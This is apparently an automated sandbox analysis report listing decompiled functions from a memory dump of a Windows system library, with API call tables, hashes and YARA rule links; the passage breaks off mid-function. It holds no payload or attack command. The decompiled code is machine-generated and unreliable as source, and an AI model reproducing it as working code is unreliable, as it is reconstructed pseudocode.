0x6a986800
0x6a944ccc
0x6a944ccd
0x6a944cb7
0x6a944cc9
0x6a944cc9
0x6a944bdf
0x6a944be5
0x00000000
0x6a944bf5
0x6a944bf5
0x6a944bf9
0x6a944c06
0x6a944c0b
0x6a944c17
0x6a944c1f
0x6a944c25
0x6a944c33
0x6a944c3d
0x6a944c40
0x6a944c43
0x6a944c47
0x6a944c4d
0x6a944c53
0x6a944c54
0x6a944c55
0x6a944c56
0x6a944c5b
0x6a944c5c
0x6a944c63
0x6a944c6b
0x00000000
0x00000000
0x6a986776
0x6a986784
0x6a986784
0x6a98679f
0x6a9867a7
0x6a9867af
0x6a9867ce
0x00000000
0x6a9867b1
0x6a9867b7
0x6a9867b8
0x6a9867c1
0x6a9867d3
0x6a9867d9
0x6a9867dd
0x6a944c94
0x6a944c94
0x6a944c98
0x6a944c9c
0x6a944ca3
0x6a9867f4
0x6a9867f4
0x6a944cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a944cb5
0x6a944c79
0x6a944c7e
0x6a944c89
0x6a944c8b
0x6a944c8f
0x6a944c8f
0x00000000
0x6a944c89
0x6a9867c3
0x00000000
0x6a9867c3
0x6a9867af
0x6a944c73
0x00000000
0x00000000
0x00000000
0x6a944c73

APIs

RtlAcquireSRWLockExclusive.1105(6AA08504,6AA05338,00000000,6AA05320), ref: 6A944BF9
memset.1105(?,00000000,00000078,6AA08504,6AA05338,00000000,6AA05320), ref: 6A944C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944C5E
RtlReleaseSRWLockExclusive.1105(6AA08504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944C9C
RtlSetLastWin32Error.1105(00000000,6AA08504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A986784
RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A98679A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 130144ed784bb813f0e9a8ad903c52e8d40fab5c1f4658d274e917b24445e243
Instruction ID: 77a8db9594417f9370533f3f806e26f87f2c9fa610782c637e54160dc8d064cd
Opcode Fuzzy Hash: 130144ed784bb813f0e9a8ad903c52e8d40fab5c1f4658d274e917b24445e243
Instruction Fuzzy Hash: EE41C272A44228AFDB20DF68C944BDA77B9EF45710F2204A5E908AB241DF34DE80CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A944D3B, Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A944D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				void _v176;
				char _v177;
				long _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t42;
				void* _t44;
				long _t46;
				intOrPtr _t50;
				long _t56;
				void* _t57;
				int _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x6aa0d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				memset( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x6aa07bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E6A95B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
						}
						_v177 = 1;
						_t44 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = RtlNtStatusToDosError(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E6A95B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E6A95F380(_t67 + 0xc, 0x6a8f5138, 0x10) == 0) {
								 *0x6aa060d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E6A944F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				_t56 = E6A944E70(0x6aa086b0, 0x6a945690, 0, 0);
				if(_t56 != 0) {
					_t46 = RtlNtStatusToDosError(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x6a944d3b
0x6a944d4d
0x6a944d53
0x6a944d58
0x6a944d65
0x6a944d6c
0x6a944d71
0x6a944d77
0x6a944d7f
0x6a944d8c
0x6a944d8e
0x6a944dad
0x6a944db0
0x6a944db7
0x6a944db8
0x6a944db9
0x6a944dba
0x6a944dbb
0x6a944dc1
0x6a944dc8
0x6a944dcc
0x6a944dd5
0x6a944dde
0x6a944ddf
0x6a944de0
0x6a944de1
0x6a944de6
0x6a944de7
0x6a944de9
0x6a944df3
0x00000000
0x00000000
0x6a986c7c
0x6a986c8a
0x6a986c8a
0x6a986c9d
0x6a986ca7
0x6a986cac
0x6a986cb2
0x6a986cb9
0x00000000
0x6a986cbf
0x6a986cbf
0x00000000
0x6a986cbf
0x6a986cb9
0x6a944dfb
0x6a986ccf
0x6a986cd3
0x6a944e32
0x6a944e39
0x6a986ce0
0x6a986cf2
0x6a986cf2
0x6a986ce0
0x6a944e3f
0x6a944e41
0x6a944e51
0x6a944e51
0x6a944e03
0x6a944e03
0x6a944e09
0x6a944e0f
0x6a944e57
0x00000000
0x00000000
0x6a944e1b
0x6a944e30
0x6a944e5b
0x6a944e5b
0x00000000
0x6a944e30
0x6a944e11
0x6a944e11
0x6a944e16
0x00000000
0x6a944e16
0x6a944e01
0x00000000
0x6a944e01
0x6a944d9e
0x6a944da5
0x6a986c6b
0x00000000
0x6a944dab
0x6a944dab
0x00000000
0x6a944dab

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6A944D77
RtlRunOnceExecuteOnce.1105(6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A944D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944DE9
memcmp.1105(00000000,6A8F5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944E26
RtlNtStatusToDosError.1105(00000000,6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A986C6B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: fee298da3be0cf7b9baa9ba67bc54fcfce5326cb0d670642ffbc0122754615de
Instruction ID: c8cbd7d948c0c7bf3fceaa73ad42fe0630252f33e88c71c1d9fa5ecbbe9ce4c9
Opcode Fuzzy Hash: fee298da3be0cf7b9baa9ba67bc54fcfce5326cb0d670642ffbc0122754615de
Instruction Fuzzy Hash: D441D171A40318AFEB21CF14CC80B5BB7B9EB95318F2144AAE9459B281DF70ED40CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6A93C182, Relevance: 13.6, APIs: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A93C182(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				char* _t43;
				void* _t48;
				signed char _t62;
				void* _t63;
				void* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E6A937D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E6A9E8D34(_v8, _t80);
					}
					E6A932280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E6A92FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t83 = _t80 + 0xd0;
						E6A9E8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E6A92FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E6A95B180();
						if(_a4 != 0) {
							E6A932280(_t48, _t81);
						}
					} else {
						E6A93BB2D(_v8 + 0xc, _t80 + 0x98);
						E6A93BB2D(_v8 + 8, _t80 + 0xb0);
						E6A93B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E6A92FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							E6A92FFB0(0, _t80, _t80 + 0x90);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					E6A92FFB0(0, __ecx, __ecx + 0x90);
				}
				return 0;
			}

0x6a93c18d
0x6a93c18f
0x6a93c191
0x6a93c19b
0x6a93c1a0
0x6a93c1d4
0x6a93c1de
0x6a982d6e
0x6a93c1e4
0x6a93c1e4
0x6a93c1e4
0x6a93c1ec
0x6a982d7d
0x6a982d7d
0x6a93c1f3
0x6a93c1ff
0x6a982d88
0x6a982d8d
0x6a982d94
0x6a982d9f
0x6a982da4
0x6a982dab
0x6a982db0
0x6a982db2
0x6a982db3
0x6a982db4
0x6a982dbc
0x6a982dc3
0x6a982dc3
0x6a93c205
0x6a93c211
0x6a93c222
0x6a93c22c
0x6a93c234
0x6a93c23a
0x6a93c23f
0x6a93c245
0x6a93c24b
0x6a93c251
0x6a93c25a
0x6a93c27d
0x6a93c27d
0x6a93c25c
0x6a93c25c
0x00000000
0x6a93c25e
0x6a93c1a4
0x6a93c1aa
0x6a93c1b3
0x6a93c26c
0x6a93c26c
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C27D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: 31a600c909e9b4330754fdaa9cfec07377163e082761cf247cba28f78aebf852
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: 60314871601A66BED704DBF4C484BD9FBB8BF56308F25815AD42847202DF34F919D790

Uniqueness

Uniqueness Score: -1.00%

Function 6A94DE9E, Relevance: 13.6, APIs: 9, Instructions: 79
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A94DE9E(void* __ecx) {
				char _v0;
				char _v12;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v65;
				void* _v66;
				void* __ebx;
				void* __edi;
				void* _t81;
				signed int _t82;
				intOrPtr* _t92;
				signed int _t96;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				intOrPtr _t109;
				intOrPtr* _t110;
				signed int _t116;
				char _t121;
				void* _t128;
				signed int* _t130;
				signed int* _t135;
				signed int _t138;
				signed int _t140;
				void* _t145;
				unsigned int _t147;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t161;
				signed int* _t162;
				char _t163;
				signed int _t164;
				signed int _t169;
				signed int _t171;
				intOrPtr* _t173;
				signed int _t176;
				signed int _t177;
				intOrPtr* _t178;
				void* _t181;
				void* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				void* _t196;

				_t194 = _t193 & 0xfffffff8;
				_push(__ecx);
				_push(_t173);
				_t181 = __ecx;
				_t81 = E6A932280( *0x6aa084cc + 4,  *0x6aa084cc + 4);
				_t128 = _t181 + 0x28;
				_t82 = E6A932280(_t81, _t128);
				asm("lock xadd [esi+0x50], eax");
				if((_t82 | 0xffffffff) != 1) {
					E6A92FFB0(_t128, _t173, _t128);
					L8:
					return E6A92FFB0(_t128, _t173,  *0x6aa084cc + 4);
				} else {
					if(E6A937D50() != 0) {
						_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
					} else {
						_t92 = 0x7ffe038e;
					}
					_t173 = _t181 + 0x10;
					if( *_t92 != 0) {
						E6A9A2EA3(_t181,  *_t173,  *((intOrPtr*)(_t173 + 4)));
					}
					_push(_t173);
					E6A95B150();
					_t96 = _t181 + 0x1c;
					_t162 =  *_t96;
					if(_t162[1] != _t96) {
						L10:
						_t145 = 3;
						asm("int 0x29");
						_t191 = _t194;
						_push(_t145);
						_push(_t145);
						_push(_t128);
						_push(_t181);
						_push(_t173);
						_t130 = _t162;
						_t183 = _t145;
						asm("lock xadd [esi+0x2c], eax");
						if((_t96 | 0xffffffff) == 1) {
							_t146 =  *((intOrPtr*)(_t183 + 0x28));
							if( *((intOrPtr*)(_t183 + 0x28)) != 0) {
								E6A91A745(_t130, _t146, _t162, _t173);
							}
							_t100 = _t183 + 4;
							_t163 =  *_t100;
							if( *((intOrPtr*)(_t163 + 4)) != _t100) {
								L20:
								_t147 = 3;
								asm("int 0x29");
								_push(_t191);
								_t196 = (_t194 & 0xfffffff8) - 0x1c;
								_v56 = _v56 & 0x00000000;
								_push(_t130);
								 *((char*)(_t196 + 0xb)) = _t163;
								 *(_t196 + 0x18) = _t147;
								_push(_t183);
								_push(_t173);
								_t135 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + ((_t147 >> 0x00000005 & 0x0000007f) + 0x97) * 4;
								_t103 = 0;
								_t164 =  *_t135;
								_v48 = _t135;
								 *(_t196 + 0x12) = 0;
								if(_t164 != 0) {
									while((_t164 & 0x00000001) == 0) {
										_t103 = _t164;
										if((_t164 & 0x00000002) != 0) {
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												goto L54;
											}
										} else {
											_t186 = _t164 | 0x00000002;
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												L54:
												_t164 = _t103;
												if(_t103 != 0) {
													continue;
												} else {
												}
											} else {
												while(1) {
													L25:
													_t138 = _t186 & 0xfffffffc;
													 *(_t196 + 0x24) = _t138;
													_t176 = _t138;
													if( *((intOrPtr*)(_t138 + 0x10)) == 0) {
														goto L56;
													}
													L26:
													_t177 =  *((intOrPtr*)(_t176 + 0x10));
													 *((intOrPtr*)(_t138 + 0x10)) = _t177;
													while(_t177 != 0) {
														_t169 =  *((intOrPtr*)(_t177 + 0xc));
														_v52 = _t169;
														if( *_t177 !=  *((intOrPtr*)(_t196 + 0x20))) {
															L60:
															_t177 = _t169;
															continue;
														} else {
															_t152 =  *(_t177 + 8);
															if(_t177 != _t138) {
																 *(_t169 + 8) = _t152;
																_t153 =  *(_t177 + 8);
																_t109 =  *((intOrPtr*)(_t177 + 0xc));
																if(_t153 != 0) {
																	 *((intOrPtr*)(_t153 + 0xc)) = _t109;
																} else {
																	 *((intOrPtr*)(_t138 + 0x10)) = _t109;
																	 *((intOrPtr*)( *((intOrPtr*)(_t177 + 0xc)) + 0x10)) =  *((intOrPtr*)(_t177 + 0xc));
																}
																goto L34;
															} else {
																if(_t152 != 0) {
																	_t152 = _t152 ^ (_t152 ^ _t186) & 0x00000003;
																}
																_t116 = _t186;
																asm("lock cmpxchg [ebx], edx");
																_t138 =  *(_t196 + 0x24);
																if(_t116 != _t186) {
																	_t186 = _t116;
																	goto L25;
																} else {
																	_t171 =  *(_t177 + 8);
																	_t156 = _t152 & 0xffffff00 | _t152 == 0x00000000;
																	 *(_t196 + 0x12) = _t156;
																	if(_t171 != 0) {
																		 *(_t171 + 0xc) =  *(_t171 + 0xc) & 0x00000000;
																		 *((intOrPtr*)(_t171 + 0x10)) =  *((intOrPtr*)(_t177 + 0x10));
																		 *(_t196 + 0x12) = _t156;
																	}
																	_t169 = _v52;
																	L34:
																	_t154 = 2;
																	_t49 = _t177 + 0x14; // 0x14
																	_t110 = _t49;
																	_t155 =  *_t110;
																	 *_t110 = _t154;
																	if(_t155 == 2) {
																		goto L60;
																	} else {
																		if(_t155 == 0) {
																			 *(_t177 + 8) = _v56;
																			_v56 = _t177;
																		}
																		if( *((char*)(_t196 + 0x13)) != 0) {
																			goto L60;
																		}
																	}
																}
															}
														}
														break;
													}
													_t103 = _v56;
													if(_t103 != 0) {
														do {
															_push( *((intOrPtr*)(_t103 + 4)));
															_t188 =  *(_t103 + 8);
															E6A959BF0();
															_t103 = _t188;
														} while (_t188 != 0);
													}
													if( *(_t196 + 0x12) == 0) {
														_t151 =  *_v48;
														while(1) {
															_t140 = _t151 & 0x00000001;
															asm("sbb edx, edx");
															_t103 = _t151;
															asm("lock cmpxchg [esi], edx");
															if(_t103 == _t151) {
																break;
															}
															_t151 = _t103;
														}
														if(_t140 != 0) {
															_t103 = E6A9CCF30(_t103);
														}
													}
													goto L41;
													do {
														L56:
														_t104 = _t176;
														_t176 =  *(_t176 + 8);
														 *(_t176 + 0xc) = _t104;
													} while ( *((intOrPtr*)(_t176 + 0x10)) == 0);
													goto L26;
												}
											}
										}
										goto L41;
									}
								}
								L41:
								return _t103;
							} else {
								_t157 =  *((intOrPtr*)(_t100 + 4));
								if( *_t157 != _t100) {
									goto L20;
								} else {
									 *_t157 = _t163;
									 *((intOrPtr*)(_t163 + 4)) = _t157;
									_t178 =  *((intOrPtr*)(_t183 + 0x30));
									 *_t130 =  *(_t183 + 0x38);
									 *_v0 =  *((intOrPtr*)(_t183 + 0x3c));
									_t121 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t183);
									if(_t178 != 0) {
										 *_t178 = 1;
										_t121 =  &_v12;
										asm("lock or [eax], ecx");
										_push(0);
										L21();
									}
									goto L13;
								}
							}
						} else {
							_t121 = _v0;
							 *_t130 =  *_t130 & 0x00000000;
							 *_t121 =  *_t121 & 0x00000000;
							L13:
							return _t121;
						}
					} else {
						_t161 =  *(_t96 + 4);
						if( *_t161 != _t96) {
							goto L10;
						} else {
							 *_t161 = _t162;
							_t162[1] = _t161;
							E6A92FFB0(_t128, _t173, _t128);
							if( *(_t181 + 0x58) != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t181 + 0x58));
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t181);
							goto L8;
						}
					}
				}
			}

0x6a94dea3
0x6a94dea6
0x6a94deae
0x6a94deb2
0x6a94deb5
0x6a94deba
0x6a94debe
0x6a94dec6
0x6a94decc
0x6a94df40
0x6a94df2a
0x6a94df3e
0x6a94dece
0x6a94ded5
0x6a98b445
0x6a94dedb
0x6a94dedb
0x6a94dedb
0x6a94dee2
0x6a94dee7
0x6a98b456
0x6a98b456
0x6a94deed
0x6a94deee
0x6a94def3
0x6a94def6
0x6a94defb
0x6a94df47
0x6a94df49
0x6a94df4a
0x6a94df4f
0x6a94df51
0x6a94df52
0x6a94df53
0x6a94df54
0x6a94df55
0x6a94df56
0x6a94df58
0x6a94df5d
0x6a94df63
0x6a94df77
0x6a94df7c
0x6a94dfd3
0x6a94dfd3
0x6a94df7e
0x6a94df81
0x6a94df86
0x6a94dfda
0x6a94dfdc
0x6a94dfdd
0x6a94dfe1
0x6a94dfe7
0x6a94dff0
0x6a94dff5
0x6a94dff8
0x6a94e005
0x6a94e00f
0x6a94e010
0x6a94e011
0x6a94e014
0x6a94e016
0x6a94e018
0x6a94e01c
0x6a94e022
0x6a94e028
0x6a94e031
0x6a94e036
0x6a98b47d
0x6a98b483
0x00000000
0x00000000
0x6a94e03c
0x6a94e03e
0x6a94e043
0x6a94e049
0x6a98b489
0x6a98b489
0x6a98b48d
0x00000000
0x00000000
0x6a98b493
0x00000000
0x6a94e04f
0x6a94e04f
0x6a94e051
0x6a94e054
0x6a94e058
0x6a94e05e
0x00000000
0x00000000
0x6a94e064
0x6a94e064
0x6a94e067
0x6a94e06a
0x6a94e076
0x6a94e079
0x6a94e07f
0x6a98b4cc
0x6a98b4cc
0x00000000
0x6a94e085
0x6a94e085
0x6a94e08a
0x6a94e11c
0x6a94e11f
0x6a94e122
0x6a94e127
0x6a94e164
0x6a94e129
0x6a94e129
0x6a94e12f
0x6a94e12f
0x00000000
0x6a94e090
0x6a94e092
0x6a98b4b2
0x6a98b4b2
0x6a94e09e
0x6a94e0a0
0x6a94e0a4
0x6a94e0aa
0x6a98b4d3
0x00000000
0x6a94e0b0
0x6a94e0b0
0x6a94e0b5
0x6a94e0b8
0x6a94e0be
0x6a98b4b9
0x6a98b4c0
0x6a98b4c3
0x6a98b4c3
0x6a94e0c4
0x6a94e0c8
0x6a94e0ca
0x6a94e0cb
0x6a94e0cb
0x6a94e0ce
0x6a94e0ce
0x6a94e0d3
0x00000000
0x6a94e0d9
0x6a94e0db
0x6a94e0e1
0x6a94e0e4
0x6a94e0e4
0x6a94e0ed
0x00000000
0x00000000
0x6a94e0ed
0x6a94e0d3
0x6a94e0aa
0x6a94e08a
0x00000000
0x6a94e07f
0x6a94e0f3
0x6a94e0f9
0x6a94e0fb
0x6a94e0fb
0x6a94e0fe
0x6a94e101
0x6a94e106
0x6a94e108
0x6a94e0fb
0x6a94e111
0x6a94e138
0x6a94e13a
0x6a94e13e
0x6a94e148
0x6a94e14e
0x6a94e150
0x6a94e156
0x00000000
0x00000000
0x6a94e16c
0x6a94e16c
0x6a94e15a
0x6a94e15d
0x6a94e15d
0x6a94e15a
0x00000000
0x6a98b498
0x6a98b498
0x6a98b498
0x6a98b49a
0x6a98b49d
0x6a98b4a0
0x00000000
0x6a98b4a6
0x6a94e04f
0x6a94e049
0x00000000
0x6a94e036
0x6a94e028
0x6a94e113
0x6a94e119
0x6a94df88
0x6a94df88
0x6a94df8d
0x00000000
0x6a94df8f
0x6a94df8f
0x6a94df91
0x6a94df97
0x6a94df9a
0x6a94dfa5
0x6a94dfb0
0x6a94dfb7
0x6a94dfb9
0x6a94dfbf
0x6a94dfc4
0x6a94dfc7
0x6a94dfcc
0x6a94dfcc
0x00000000
0x6a94dfb7
0x6a94df8d
0x6a94df65
0x6a94df65
0x6a94df68
0x6a94df6b
0x6a94df6e
0x6a94df74
0x6a94df74
0x6a94defd
0x6a94defd
0x6a94df02
0x00000000
0x6a94df04
0x6a94df04
0x6a94df07
0x6a94df0a
0x6a94df13
0x6a98b46e
0x6a98b46e
0x6a94df25
0x00000000
0x6a94df25
0x6a94df02
0x6a94defb

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6A94DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?), ref: 6A94DEBE

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000,?), ref: 6A94DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000), ref: 6A94DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001), ref: 6A94DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6A913A82,?), ref: 6A94DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001), ref: 6A94DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6A913A82,?,?,?,?,?,00000001,00000000), ref: 6A94DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6A913A82,?), ref: 6A98B46E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: 468f317ba2e9378215ff3d07b0df0c5cca74a58047efb9f8b5325f92b6659aef
Instruction ID: 7ac5f0e02577526127d4e226020b1e82e2251dfa376b68fe54b6f47ec45d646e
Opcode Fuzzy Hash: 468f317ba2e9378215ff3d07b0df0c5cca74a58047efb9f8b5325f92b6659aef
Instruction Fuzzy Hash: 2D21CC71210650AFD3208B28C848F16B7BCFF1672CF2649AAE0158B7A2DF31E801CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C23E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E6A9C23E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
